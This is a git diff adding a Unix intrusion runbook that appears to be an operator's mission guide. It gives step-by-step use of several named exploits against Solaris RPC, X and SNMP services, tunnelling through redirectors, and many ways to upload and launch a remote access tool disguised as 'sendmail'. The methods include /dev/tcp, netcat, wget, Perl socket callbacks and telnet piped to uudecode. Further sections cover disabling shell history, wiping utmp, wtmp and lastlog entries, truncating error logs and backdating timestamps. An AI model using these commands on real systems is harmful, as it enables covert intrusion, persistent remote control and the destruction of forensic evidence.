+:%s/LOCALTWO/LOCALTWO/g +:%s/TUNRATNAME/TUNRATNAME/g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + +### LOCAL: + +nc -v -l -p LOCALONE < /current/up/noserver + +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. + +ssh -R REMOTEONE:127.0.0.1:LOCALONE -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh +ssh -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + +#OR, combined: +ssh -R REMOTEONE:127.0.0.1:LOCALONE -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ps -ef +ls -lart /tmp +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which cat + +/bin/cat < /dev/tcp/127.0.0.1/REMOTEONE > /tmp/.scsi/TUNRATNAME + +# Execute noserver to listen for connection through the SSH tunnel +chmod 700 TUNRATNAME +PATH=. D=-lREMOTETWO TUNRATNAME + +# LOCALLY: +noclient 127.0.0.1:LOCALTWO + +### NOTE: With this technique you will have to rename +### target data from NOPEN-HOSTNAME.127.0.0.1 to +### NOPEN-HOSTNAME.TARGET-IP + + +### END MASQ ### + + + +####################### +# RAT UPLOAD METHODS # +####################### + +---------------------------------------- + +# vi pastables +# RATPAYLOAD - NOPEN filename (without /current/up/morerats) +# RATIP - Redirector IP +# RATPORT - Redirector PORT +# RATNAME - Filename to call NOPEN (normally sendmail) + +:%s/UPWORKDIR//g +:%s/RATPAYLOAD//g +:%s/RATIP//g +:%s/RATPORT//g +:%s/RATNAME//g +:%s/NOPENOPTS//g +:%s/UPTARGET_IP//g + +# Defaults (sendmail/noserver/noserver-linux) +:%s/UPWORKDIR/.scsi/g +:%s/RATNAME/sendmail/g +:%s/NOPENOPTS/-l32754/g +:%s/RATPAYLOAD/noserver-sparc/g +:%s/RATPAYLOAD/noserver-linux/g +---------------------------------------- + +# SHELL +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +date; date -u +w; id; pwd +mkdir /tmp/UPWORKDIR; cd /tmp/UPWORKDIR; pwd +---------------------------------------- + +# Determine available upload methods +# Solaris +type wget nc +type uudecode uncompress +type ksh bash telnet +type perl + +# Linux (which tends to work better than type) +which wget nc +which uudecode uncompress +which ksh bash telnet +which perl +---------------------------------------- + +# NOPEN -upload (automated netcat listener and redirect) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +# compress RATNAME +# uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Redirector (RATIP): +-upload /current/up/RATNAME RATPORT +# -upload /current/up/RATNAME.Z.uu RATPORT +---------------------------------------- + +# /dev/tcp (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target (linux - bash shell): +bash -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME + +Target (solaris - ksh shell): +ksh -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# netcat (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +nc RATIP RATPORT > RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# wget +Local: +cd /current/up +echo -e 'HTTP/1.0 200\n' > RATNAME +cat /current/up/RATPAYLOAD >> RATNAME +nc -l -v -p RATPORT < RATNAME + +Local (Packrat style): +packrat -w RATNAME /current/up/RATPAYLOAD RATPORT + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +wget http://RATIP:RATPORT/RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode.pastable +Local: +uudecode.pastable -s /current/up/RATPAYLOAD RATNAME + +Target: +# Paste the blue from uudecode.pastable +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Remote: +# gedit RATNAME.Z.uu +# -- paste contents of gedit +uudecode; ls -latr +uncompress RATNAME.Z +ls -la +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# Perl Callback (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD + +Redirector: +-tunnel +r RATPORT + +Remote: +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("RATIP:RATPORT")or exit1;binmode($c);open(O,">RATNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("RATNAME") unless (-s "RATNAME");' +---------------------------------------- + +# Perl Listen +Remote: +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,RATPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">RATNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("RATNAME") unless (-s "RATNAME");' + +Redirector: +-tunnel +l RATPORT UPTARGET_IP + +Local: +nc -vv 127.0.0.1 RATPORT < /current/up/RATPAYLOAD +---------------------------------------- + +# telnet (-upload compatible) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu +nc -l -v -p RATPORT < /current/up/RATNAME.Z.uu + +Redirector: +-tunnel +r RATPORT + +Remote: +telnet RATIP RATPORT < /dev/console | uudecode && uncompress RATNAME.Z && chmod 700 RATNAME && ls -latr +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + + + +### END RAT ### + + + +####################### +# CLEANING # +####################### + +### TOAST ### + +### Target window +-put /current/up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmpx user + +### Remove toast... +-rm t + +### LOW-CARB DIET? (NO TOAST AVAILABLE?) LOCALLY EDIT WITH khexedit OR vi in hex mode: +:%!xxd + + + +##################### +# -shell # +##################### +################################################################## +## Using NOPEN to start something with clean file descriptors +## using -shell then exec to close file descriptors. +## +## Two examples, one for noserver, one for other standalones. +################################################################## + + +# This can be useful after exploits, too--if our NOPEN inherits a +# legit port from the exploit (say 161), then we install, we have just +# hidden our target's snmpd. Not good. + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +cp /proc/$$/exe sendmail || cp /proc/$$/object/a.out sendmail +PATH=. D=-ulrandom14444-55555 sendmail +# OR: PATH=. D=-ucREDIR_IP:random14444-55555 sendmail +netstat -antp | grep sendmail || netstat -an | grep sendmail +ps -ef | grep sendmail$ +rm sendmail +exit + +# Used when deploying standalones (DD, SBZ), it helps avoid their +# children having the NOPEN ports inherited in CLOSE_WAIT state. + +-put /current/up/STANDALONETODEPLOY ./RAN_AS +-addpath . +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +which RAN_AS +RAN_AS FAKE_ARGS_IF_ANY & +echo $? +rm RAN_AS +exit + diff --git a/Linux/doc/user.mission.generic.COMMON b/Linux/doc/user.mission.generic.COMMON new file mode 100644 index 0000000..fae7f73 --- /dev/null +++ b/Linux/doc/user.mission.generic.COMMON @@ -0,0 +1,1334 @@ +################################## +# user.mission.CORE # +# Core Unix Tools and Methods # +# v1.6 - 20130329 # +################################## + +#Includes: +# YS, GS, EASY, BL, EBB, MASQ +# RAT Upload +# Cleaning +:/YELLOWSPIRIT +:/YS DAIRYFARM +:/GREENSPIRIT +:/EASYSTREET +:/BOSSLADD +:/EBBSHAVE +:/SSH MASQ +:/SSH file pull +:/RAT UPLOAD +:/CLEANING +:/-shell + +####################### +# YS - YELLOWSPIRIT # +####################### + +### New way: + +Usage: ys.auto -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-R IP Actual target IP when redirecting via 127.0.0.1 (in case IP + the -scan reported is wrong in -sploit mode) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 3 seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use "2>&1" on target. Fouls up in some shells. +-U Do NOT pipe to uudecode, instead create a .uu file. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -n# and -p# can be the same, even in callback mode. ys.auto provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close (if redirecting) before the NOPEN server calls back on the + same port. + +examples: + ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + ys.auto -i 10.0.3.1 + ys.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of ys.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +ys.auto Version 1.4.3.1 + + +### Old Way: + +mx +:%s,YSXSERVER_PORT,,g +:%s,YSNETCAT_PORT,,g +:%s,YSREDIR_IP,,g +:%s,YSTARGET_IP,,g +:%s,YSWORKDIR,,g +:%s,YSRAT,,g +`x + +-scan xwin YSTARGET_IP + +### Locally: +packrat YSNETCAT_PORT + +################################################## +###### YS With REDIRECTION: +################################################## +###### 1. On redirector - set up nopen tunnel + +############ +### UNIX ### +############ +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSNETCAT_PORT +s + +############### +### WINDOWS ### +############### +redirect -udp -lplisten 177 -target YSTARGET_IP 177 -bind 192.168.254.72 -maxpacketsize 16000 +redirect -tcp -implantlisten YSXSERVER_PORT -target 192.168.254.71 YSXSERVER_PORT +redirect -tcp -implantlisten YSNETCAT_PORT -target 192.168.254.71 YSNETCAT_PORT + +###### 2. Local window1 +./wrap-sun.sh -l YSREDIR_IP -r YSRAT -p YSNETCAT_PORT -x YSXSERVER_PORT -d /tmp/YSWORKDIR + + # hit return + # type y and hit return + + +###### 3. Local Window2: + # for redirection local ip is redirector ip + +#./xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 192.168.254.72 +./xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + + # hit return + # hit return + # hit return + # (At this point you should see a continue.... in your attack1 window + + # in the attack1 window + # hit return + # hit return + # hit return + + # (you should see your upload happen...) + +### IF Exploit is successful +# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING. +# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH +# TIMES TO GET THE RAT FULLY UPLOADED. +# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED. +# ONCE THE RAT IS UPLOADED, CONNECT +# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING: + +ps -ef | grep dtlogin +kill -9 PID[,PID[,PID[,...]]] + +# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A +# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF +# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S +# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER +# WINDOW AND THE XC WINDOW. + + + # Ctrl-C your nc window + # Ctrl-C your xc window +### IF IT WORKS, JUMP: +:/Connect to RAT + +################################################## +###### YS with Double telnet / doublet method: +################################################## +mx +:%s,YSRPORT1,,g +:%s,YSRPORT2,,g +`x + +### Redirection + +############ +### UNIX ### +############ +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSRPORT1 +r YSRPORT2 +r YSNETCAT_PORT + +############### +### WINDOWS ### +############### +redirect -udp -lplisten 177 -target YSTARGET_IP 177 -bind 192.168.254.72 -maxpacketsize 16000 +redirect -tcp -implantlisten YSXSERVER_PORT -target 192.168.254.71 YSXSERVER_PORT +redirect -tcp -implantlisten YSRPORT1 -target 192.168.254.71 YSRPORT1 +redirect -tcp -implantlisten YSRPORT2 -target 192.168.254.71 YSRPORT2 + +### Local scripted (you'll type commands in this): +#nc -l -p R-PORT1 +#nc -l -p YSRPORT1 + +###Local scripted (your output from above will appear here): +#nc -l -p R-PORT2 +#nc -l -p YSRPORT2 + +### OR -- instead, use doublet in a scripted window (type and output all in same window): +#doublet -O -t -i REDIR_IP R-PORT1 +doublet -O -t -i YSREDIR_IP YSRPORT1 YSRPORT2 + +### then set up the tunnels as below, and use wrap-telnet.sh and xc + +### Scripted #1 +wrap-telnet.sh -l YSREDIR_IP -p YSRPORT1 -s YSRPORT2 -x YSXSERVER_PORT + +### Scripted #2 +xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + +### Connect to RAT ### +#w/o tunneling +cd ../down +../bin/noclient YSTARGET_IP + +#w/ tunneling. In redirector window +-nstun YSTARGET_IP + +-rm YSRAT + +###### Cleaning up ###### +### The error log file is configurable and so you must examine +### their xdm-config file to find out where errors are being +### logged. +### +### HAVE TO LOOK THROUGH "find" file from getscript + +egrep -i '(xdm-config|errors|xerror)' /current/*find*m + +### if no find available one of these will probably find it + +-ls /tmp/*errors /var/dt/*errors +-cat error_file + +-grep YSREDIR_IP /var/adm/syslog /var/log/syslog /var/adm/messages + +-lt /var/dt/ + +### you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +### if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +### if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +### subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +### if it looks good: + +cat t > /var/dt/Xerrors +-cat /var/dt/Xerrors +-rm t + +-ls -t /var/adm +### anything that has a reasonably current timestamp you should check + +### Toasting the login entries... +### Use toast to clean utmp[x], wtmp[x], lastlog + +### jump to cleaning section... + +:/TOAST + +### END YS ### + + + +####################### +# GS - GREENSPIRIT # +####################### + +gs.auto +Usage: gs.auto -i [ options ] + +-i IP IP of target machine (NO DEFAULT) +-g opt Change default GS option from ./ to "./opt" + (can be grins, frowns or sneer). +-C str Change default community string from public to "str". +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 0 seconds). Callback is to -l IP. +-k Use ksh method instead of telnet/uu*code. +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i | tail -1". + If not provided or no match, /current/up/noserver is assumed. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + +examples: + gs.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -D /tmp/.dir + gs.auto -i 10.0.3.1 + gs.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of gs.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. + +gs.auto Version 1.6.1.1 + + +### Or the old way: + +# Use sneer(2.6) or frowns(2.7+) +gs.os.gr + +Using -c option requires local nosy or nopen client command as follows: + noxxxx -l +You'll be prompted when to start it. + +Usage: /current/bin/gs.os.gr [options] + -i (required) + -g def= frowns + -l (required) + -n (required) + -c (no default) + -D def= /tmp/.X11R6 + -f def= nscd + -E (no default) + -A (no default) + -S DEPRECATED (and ignored) + -s DEPRECATED (and ignored) + +mx +:%s,GSTARGET_IP,,g +:%s,GSPORT,,g +:%s,GSNETCAT_PORT,,g +:%s,GSREDIR_IP,,g +:%s,GSWORKDIR,/tmp/,g +:%s,GSRATNAME,,g +`x + + +rpcinfo -p GSTARGET_IP + +rpcinfo -n GSPORT -u GSTARGET_IP 100249 +rpcinfo -n GSPORT -t GSTARGET_IP 100249 + +# From PI +-scan rpc GSTARGET_IP +-scan mibiisa GSTARGET_IP + # should respond w/ snmp version or h/w type if mibiisa is running: +-scan snmp1 GSTARGET_IP + # should give motd banner to tell you the OS +-scan snmp2 GSTARGET_IP + +# If the above don't answer, GS won't work +# if the scans answer with "No such name" then they are probably not vulnerable +# anything else might be worth a shot as long as you're getting udp 161 to target + +### In netcat window: +packrat GSRATNAME /current/up/noserver-??? GSNETCAT_PORT + +# Tunneling +# on redirector + +-tunnel +u 161 GSTARGET_IP +r GSNETCAT_PORT +s + +# logging depends on sneer(2.6) or frowns(2.7+) + + +# With redirector: +#./gs.os.gr -i 127.0.0.1 -g -l REDIR-IP -n NETCAT-PORT -D /WORK-DIR -f RAT-NAME +./gs.os.gr -i 127.0.0.1 -g -l GSREDIR_IP -n GSNETCAT_PORT -D /GSWORKDIR -f GSRATNAME + +# NO tunneling + +# Local window +#./gs.os.gr -i TARGET-IP -g -l REDIR-IP -n NETCAT-PORT -D /WORK-DIR -f RAT-NAME +./gs.os.gr -i GSTARGET_IP -g -l GSREDIR_IP -n GSNETCAT_PORT -D /GSWORKDIR -f GSRATNAME + + +# Both cases: +#you wait 4 minutes, and you should see the upload of nopen +# Ctrl-C your nc + +### Connect to RAT on target: +### Straight connect (no redirection) +cd ../down +../bin/noclient GSTARGET_IP + +### Connect using redirector: +-nstun GSTARGET_IP + +### Cleanup: +### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now) +### If cleaner failed, look for and remove mibiisa_ps_data: +rm /tmp/mibiisa_ps_data + +### toast utmp, wtmp, utmpx, wtmpx +:/TOAST + +### TO ENSURE CLEANER WORKED: +### Remove directory created under /tmp and WAIT 4 MINUTES...if directory is not re-created, cleaner worked +-rm GSWORKDIR + +### END GS ### + + +####################### +# EASY - EASYSTREET # +####################### + +### cmsd 100068 +### UDP is best since it's a single packet to exploit + +mx +:%s,ESTARGET_IP,,g +`x + +# look for 100068 and make note of port +-scan rpc ESTARGET_IP + +### with -sploit: + +#-sploit will ask you which exploit to try. +# Select 'CM' (calendar manager) +# Another window will pop up to run the exploit +# This window will pause to allow you to verify the command it will run. +# The command should look something like this (the ports will vary): +# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Append '-T 2' to the front of the line so that it looks like this: +# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Then press return. + +# The exploit window will prompt you to set up a listener like this: +# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT + +-nrtun RANDOM (as indicated in the -sploit exploit prompt) + +#Press enter + +#Now the exploit will occur and, after a couple of minutes, it will call back +#to your listener. +#Once the callback occurs, take the following steps: + +LOCAL>closetunnel + +#Press 'A' to abort the autodone commands +#Delete the files created by your exploit +#There should be one lock file and one callog file +-lt /var/spool/calendar +-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES + +#Use touch to set the directory timestamp back +-lt /var/spool +-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar + + +### Usage: +./cmsex +./cmsex.auto + +EASYSTREET version 1.2 +Usage: cmsex -i -c -T (-u | -t ) + +-i target ip address / hostname +-c command +-T target type +-u UDP port (use 0 to query portmapper) +-t TCP port (use 0 to query portmapper) + +Target types: +0: Solaris 8 Blade-1000s and Ultra-60s +1: Solaris 9 Blade-1000s and Ultra-60s +2: Solaris 6,7,and 8 Ultras +3: Solaris 6 - 8 SPARCstations +4: Solaris 9 Ultra-30s +5: Solaris 6 - 7 x86 +6: Solaris 8 x86 +7: Solaris 9 x86 (not implemented) +8: HPUX (not implemented) +9: SCO 7.0.1 x86 + +Note: Choosing the correct target type is a bit of guesswork. + If one choice fails, you may want to try another. + +# Only use ESLOCAL_IP if NOT REDIRECTING cmsex command +mx +:%s,ESWORKDIR,/tmp/,g +:%s,ESREDIR_IP,,g +:%s,ESNETCAT_PORT,,g +:%s,ESCMSD_PORT,,g +:%s,ESCMSD_OPTION,3,g +:%s,ESRANDOM,,g +:%s,ESNOPEN_NAME,sendmail,g +:%s,ESNOPEN_PORT,,g +`x + +### get nopen ready +packrat ESNOPEN_NAME /current/up/noserver ESNETCAT_PORT + +### Redirection tunnels + +############ +### UNIX ### +############ +-tunnel +u ESRANDOM ESTARGET_IP ESCMSD_PORT +r ESNETCAT_PORT + +############### +### WINDOWS ### +############### +redirect -udp -lplisten ESRANDOM -target ESTARGET_IP ESCMSD_PORT -maxpacketsize 16000 +redirect -tcp -implantlisten ESNETCAT_PORT -target 192.168.254.71 ESNETCAT_PORT + +./cmsex -i 127.0.0.1 -c 'mkdir /ESWORKDIR; cd /ESWORKDIR && telnet ESREDIR_IP ESNETCAT_PORT | uudecode && uncompress ESNOPEN_NAME.Z && PATH=. D=-ulESNOPEN_PORT ESNOPEN_NAME' -T ESCMSD_OPTION -u ESRANDOM + +### when the upload is done, kill the netcat, then try connecting in +-nstun ESTARGET_IP ESNOPEN_PORT + +### if necessary +-rm ESNOPEN_NAME + +### Logging: +-lt /var/adm +-lt /var/spool/calendar + +### END EASY ### + + + +####################### +# BL - BOSSLADD # +####################### +### when nsrexec is there but NOT with nsrstatd??? +### like a tcp version of BS +### always uses port 7937 + + +### ./bll.tnc.gr + +# Before running this script, you first need to run the following: +# nc -l -p localPort < file2Xfer&Run.uu +# (nc must be in your path; it's also run w/in this script) +# where file2Xfer&Run.uu is a compressed, uuencoded file. + + +# Usage: bll.tnc.gr +# [options] -- [options to ] +# -i (required) +# -l (required) +# -p def = 32177 +# -f (required) +# -D def= /tmp/.X11R6 +# + +# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi + +mx +:%s,BLNETCAT_PORT,,g +:%s,BLTARGET_IP,,g +:%s,BLREDIR_IP,,g +:%s,BLRAT_NAME,,g +:%s,BLWORKDIR,/tmp/,g +`mx + +packrat BLRAT_NAME BLNETCAT_PORT + +### On redirector: +-tunnel +l 7937 BLTARGET_IP +r BLNETCAT_PORT + +### On local machine: +### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi +###./bll.tnc.gr -i 127.0.0.1 -l REDIR_IP -p NETCAT_PORT -f RAT_NAME -D /BLWORKDIR + +./bll.tnc.gr -i 127.0.0.1 -l BLREDIR_IP -p BLNETCAT_PORT -f BLRAT_NAME -D /BLWORKDIR + +### Once upload of RAT completes, connect to target from PI with nopen: + +-nstun BLTARGET_IP + +### Cleanup +-ls /nsr/cores +-ls /nsr/cores/sh +-cat /nsr/cores/sh/* +rm /nsr/cores/sh/* +-rm /nsr/cores/sh +-touch SOMEFILE /nsr/cores + +-ls /nsr/logs +-ls /nsr/logs/daemon.log +-get /nsr/logs/daemon.log +wc -l /nsr/logs/daemon.log +head -## /nsr/logs/daemon.log > n +-cat n +cat n > /nsr/logs/daemon.log +touch SOMEFILE /nsr/logs/daemon.log + +### END BL ### + + +####################### +# EBB - EBBSHAVE # +####################### +### Sol2.10 vulnerable for program 100230 metamhd, use Option #1 (5.9 metamhd) +### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services +### Important: ebbnew_linux must be in your PATH + +#command that is useful: +#rpcinfo -n -u|-t + +usage: ./ebbshave.v5 -o -v -t -p +-o : one of the following options [1-19]: + 1, "5.9 metamhd", program # = 100230, NOTE - this works for same program on Sol2.10 + 2, "5.8 ruserd", program # = 100002, NOTE = version 1 + 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 4, "5.8 ttdbserverd", program # = 100083, + 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option + 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 7, "5.8 metad", program # = 100229, NOTE = version 1 + 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 9, "5.8 metamhd", program # = 100230, + 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option + 11, "5.7 kcms_server", program # = 100221, + 12, "5.7 cachefsd", program # = 100235, + 13, "5.7 ttdbserverd", program # = 100083, + 14, "5,7 dr_daemon", program # = 300326, + 15, "5.6 ruserd", program # = 100002, + 16, "5.6 kcms_server", program # = 100221, + 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option + 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 19, "5.6 ttdbserverd", program # = 100083, +-v : the program version number you are exploiting which is obtained from rpcinfo output +-t : targets ip address +-p : port number rpc program is listening on +example: + ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772 + +If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4 + + +mx +:%s,EBBTARGET_IP,,g +:%s,EBBRANDOM,,g +:%s,EBBPORT,,g +:%s,EBBPROGNAME,metamhd,g +:%s,EBBPROG,,g +:%s,EBBNETCAT_PORT,,g +:%s,EBBREDIR_IP,,g +:%s,EBBWORKDIR,/tmp/,g +:%s,EBBRAT_PORT,,g +`x + +### 1. Use the following command to look for a suitable program to hit + +-scan brpc EBBTARGET_IP + +### Local box: +./ebbshave.v5 + +### 2. Verify the portnum will work (should respond "ready and waiting) +### Use either: +# rpcinfo -n -u|-t +# Ex.: ebbshave -n 32776 -t targetip 100229 + +### Redirector: +-tunnel +[l or u] EBBRANDOM EBBTARGET_IP EBBPORT + +### Local: +rpcinfo -n EBBRANDOM -u|-t 127.0.0.1 EBBPROG + + +###### 3. Plug in your choices and go: + +### Netcat window: +packrat EBBNETCAT_PORT + + +### Add to Existing Redirector tunnels: +r EBBNETCAT_PORT + +### Locally: + +./ebbshave.v5 -o -v -t 127.0.0.1 -p EBBRANDOM + +### IF SUCCESSFUL - skip down to unsets +###IF ebbshave.v5 fails +### Locally: + +./ebbshave.v4 + +#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM +#./ebbshave.v4 -n -t 127.0.0.1 +# To throw it: +./ebbshave.v4 -T -n EBBRANDOM -t 127.0.0.1 EBBPROG + + +### If successful, you should get a root shell + +### Get the following ready for pasting: (paste one line at a time) + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +w +id +uname -a +date ; date -u +cd /tmp +mkdir EBBWORKDIR +cd /EBBWORKDIR +pwd +telnet EBBREDIR_IP EBBNETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep EBBRAT_PORT +D="-ulEBBRAT_PORT" PATH=. sendmail + +### pitch window +-nstun EBBTARGET_IP EBBRAT_PORT + +-rm sendmail + +###### Cleanup: +/usr/openwin/bin/core +/var/adm/messages + +#on 5.10+: Touch back timestamps for your particular program (e.g., metamhd) in this listing: +-lss -uRg EBBPROGNAME /etc/svc/volatile/svc:/network/rpc + +Other cores locations? +Always look at utmp, wtmp,etc + + + +####### If you've hit this before and know the addresses: + +# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326 + +### END EBB ### + + + +####################### +# MASQ - SSH MASQ # +####################### + +mx +:%s,MASQTARGET_IP,,g +:%s,MASQTUNNEL_PORT,,g +:%s,MASQUSER,,g +:%s,MASQWORKDIR,/tmp/.scsi,g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + + +# Multiple targets? If so, wipe your known_hosts file locally between each: +cat /dev/null > ~/.ssh/known_hosts + +### DIRECT?? NO WE GENERALLY DO NOT WANT THIS : ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x 